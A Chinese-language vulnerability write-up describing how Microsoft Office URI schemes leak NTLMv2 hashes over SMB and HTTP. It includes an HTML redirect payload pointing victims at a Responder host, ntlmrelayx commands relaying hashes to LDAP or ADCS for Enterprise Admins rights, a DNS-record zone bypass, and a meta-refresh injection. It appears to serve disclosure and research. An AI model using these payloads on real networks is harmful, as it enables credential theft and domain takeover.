通过HTTP捕获NTLMv2哈希的方法并未修复。NTLMv2哈希值仍可通过HTTP获取并中继到LDAP或ADCS。 MSRC将此情况描述为“正如所述，这似乎是当前设计的一部分”。
即使该漏洞已修复，如集成Windows身份验证部分所述，在默认设置下仍可获取并中继哈希值。
此前已公开了一种利用Office URI方案通过SMB捕获NTLMv2哈希的方法。其核心思路很简单：将以下HTML文件的URL发送给受害者，即可通过SMB捕获NTLMv2哈希。链接
<!DOCTYPE html>
<html>
<script>
location.href = 'ms-word:ofe|u|\\<responder ip>\leak\leak.docx';
</script>
</html>
这是我灵感的来源。查阅Office URI方案页面可以发现，URI方案中使用了https://协议。这表明http://也可能被使用。相比于通过SMB捕获NTLMv2哈希，通过HTTP捕获在针对域控服务器的NTLM中继攻击中更具优势。中继图表
当我针对Office 2016 MSO (16.0.4266.1001) 32-bit使用ms-word:ofe|u|http://test.local:8080/leak/leak.docx URI时，出现了一个警告框以保护用户免受恶意活动影响，但Microsoft 365 Office和Office 2019的情况则不同。这些版本在访问远程Office文件时不会发出警告，并可通过SMB和HTTP协议被利用来捕获NTLMv2哈希。
我发现CVE-2024-38200的补丁并未正确应用。补丁发布后，我针对Office 2019 Volume Licensed: Version 1808 (Build 10413.20020)和Microsoft 365 MSO 2408 Build 16.0.17928.20114测试了该漏洞，并确定该漏洞仍可被利用，如下所示 CVE-2024-43609 。
当Office应用程序通过Office URI方案（例如ms-word:ofe|u|http://172.20.10.8:8080/leak.docx）发出请求时，我们可以通过302重定向将HTTP请求重定向到UNC路径。uncredirect.py脚本处理通过MS Office URI方案发送的HTTP请求，并将其重定向到包含Responder IP地址的UNC路径。这种情况使得通过SMB捕获NTLMv2哈希成为可能，并绕过了ms-word:ofe|u|\\<responder ip>\leak\leak.docx URI的安全限制。
uncredirect.py和responder。office.html文件的URL发送给受害者用户。https://github.com/user-attachments/assets/2d2d19ad-6142-4b57-8958-16ba2cd62f04
对于中继LDAP来说，通过HTTP捕获NTLMv2哈希比通过SMB更具优势。当通过Office URI请求文件时，无需使用302重定向到UNC路径，即可通过HTTP获取NTLMv2哈希。这种利用方法无法通过互联网执行，因为除非Internet属性中存在错误配置，否则对于企业网络外的主机，HTTP不会触发NTLM身份验证。
但我认为这是一种有效的中继攻击和权限提升方法。
“Internet属性”设置会影响Office应用程序的NTLM身份验证行为。我们可以通过几个示例来了解这一点。假设我们使用ms-excel:ofe|u|http://192.168.1.7/leak.xlsx URI格式来捕获NTLMv2哈希。
当以下列出的某个GPO应用于已加入域的受害者机器时，Office应用程序会自动执行身份验证。
（例如，192.168.*.* , 192.168.0-255.* , 192.168.1.7）（例如，192.168.*.* , 192.168.0-255.* , 192.168.1.7），并且在“受信任的站点”区域中，“用户身份验证”设置为“自动使用当前用户名和密码登录”
如果应用了上述某个GPO，受害者用户点击URI后，Office应用程序将从攻击者服务器获取leak.docx文件，并且由于应用的GPO导致NTLM身份验证自动发生，因此将获取NTLMv2哈希。
滥用GPO的示例场景：
设置Office URI为IP地址（例如，ms-excel:ofe|u|http://192.168.1.7/leak.xlsx）后，我们可以将office.html的URL发送给拥有域管理员权限的用户，并使用ntlmrelayx将捕获的哈希中继到LDAP(S)服务器。只需点击“打开”按钮，ntlmrelayx就会创建一个新用户并将其添加到Enterprise Admins组。
注意：
通过GPO添加的站点可以使用以下注册表项列出。
Get-ItemProperty "hkcu:\Software\policies\microsoft\windows\currentversion\internet settings\ZoneMapKey"
Get-ItemProperty "hklm:\Software\policies\microsoft\windows\currentversion\internet settings\ZoneMapKey"
0: Internet | 1: Local Intranet | 2: Trusted Sites | 3: Restricted Sites
如果未应用上述某个GPO，则NTLM身份验证不会自动发生。但是，如果我们添加一个DNS A记录，并在Office URI中使用此记录，Windows会将主机名视为Intranet区域的一部分。这样，NTLMv2身份验证将自动发生，标准用户无需错误配置GPO即可提升权限。任何具有标准权限的域用户都可以添加不存在的DNS记录，因此此攻击在域用户的默认设置下有效。
office.html文件可以从受害者用户可以访问的任何服务器提供（例如，https://office.com/office.html）。我为Apache设置了端口8081，因为ntlmrelayx默认使用端口80。我们也可以选择使用ntlmrelayx的--http-port参数。将添加的记录输入到office.html文件中的Office URI内。
启动ntlmrelayx: python3 ntlmrelayx.py -t ldap://DC-IP-ADDRESS --escalate-user username
将office.html文件的URL发送给拥有域管理员权限的用户。在发送URL之前，您应该使用ping命令检查DNS记录是否已解析。
当受害者用户导航到该URL时，单击“打开”按钮即可捕获NTLMv2哈希。（无警告！）
通过HTTP捕获的NTLMv2哈希使用ntlmrelayx中继到域控制器。结果，标准用户只需两次点击即可在默认配置下获得DCSync和Enterprise Admins权限。
https://github.com/user-attachments/assets/6fdbcd57-16aa-4497-810e-18e0a251e890
https://github.com/user-attachments/assets/22b759f5-1ac2-45bd-8916-714c8a84b40f
注意-1: 如果已加入域的服务器被攻陷并运行inveigh或ntlmrelayx，则无需添加DNS记录。
Ntlmrelayx: python3 ntlmrelayx.py -t ldaps://DC-IP-ADDRESS --http-port 8080
Office Uri: ms-excel:ofe|u|http://compromisedservername:8080/leak.xlsx
注意-2: 作为另一种选择，受害者用户的哈希可以中继到ADCS而不是LDAP:
python3 ntlmrelayx.py -t http://adcs.unsafe.local/certsrv/certfnsh.asp -smb2support --template User --adcs --http-port 80
此概念验证是在Microsoft Office 2019 MSO Build 1808 (16.0.10411.20011)和Microsoft 365 MSO (Version 2403 Build 16.0.17425.20176)上进行的。
任何在内部企业网络中使用Windows的人可能都注意到，访问网络中的企业资源非常顺畅，并且在许多情况下，除了初始的Windows域登录之外，不需要显式的凭据身份验证提示。这对于多种服务都是如此，例如网络映射驱动器、内部网站等。 微软浏览器Internet Explorer和Edge具有受信任区域的概念：Internet、本地Intranet、受信任的站点和受限站点。每个区域具有不同的安全级别和相关限制。例如，对于Intranet区域站点，Internet Explorer禁用XSS过滤器、运行ActiveX插件、执行自动登录，并且总体上比Internet站点具有更少的安全控制。 默认情况下，当Web服务器具有受NTLM身份验证保护的资源时，如果网站位于企业内部Intranet内或被列入受信任站点白名单，Internet Explorer和Edge将自动执行身份验证，尊重受信任区域的概念。 其他浏览器，如Mozilla Firefox和Google Chrome，也支持自动NTLM登录。Chrome依赖与Internet Explorer相同的设置；对于Firefox，此配置默认未启用，必须通过about:config手动更改。
https://www.blazeinfosec.com/post/web-app-vulnerabilities-ntlm-hashes/
为了让远程主机向您进行身份验证，例如由于跟踪UNC路径而导致的情况，必须满足某些条件。主要是，为了最大程度地减少哈希泄漏到Internet等外部网络的可能性，您的系统必须属于“本地Intranet”区域。当您已经进入目标内部网络时，满足此要求的最简单方法是使用系统的NetBIOS名称。也就是说，如果您在workstation1.contoso.com上，则应在UNC路径中使用workstation1以强制其进入本地Intranet区域。
https://www.mdsec.co.uk/2021/02/farming-for-red-teams-harvesting-netntlm/
如前所述，Internet属性的更改也会影响Edge和Chrome浏览器的NTLM身份验证行为。这些浏览器支持自动NTLM身份验证，Windows会假定使用Intranet区域内的NetBIOS名称进行HTTP连接，并执行NTLM身份验证。我后来意识到，正如PoC中指出的，如果创建了DNS记录并向用户发送带有NetBIOS名称的URL（例如，http://kali14/notexist.html），如果用户在Edge或Chrome浏览器中导航该URL，则可以捕获并中继该用户的NTLMv2哈希。如果我们使用ntlmrelayx将特权用户的NTLMv2哈希中继到LDAP(s)，则可以在域中以默认设置提升权限。
Edge:
Chrome:
除了向用户发送链接外，还可以使用HTML注入来捕获NTLMv2哈希：
kali14的DNS记录<meta http-equiv="refresh" content="0; url=http://kali14/notexist.html">
包括所有未列在其他区域中的本地(Intranet)站点选项，以阻止通过HTTP自动进行NTLM身份验证。该选项默认处于选中状态。 
注意：此漏洞利用仅用于教育和研究目的。作者不对任何滥用或由此漏洞利用造成的损害负责。在未获得明确许可的环境下未经授权使用此代码是非法且不道德的。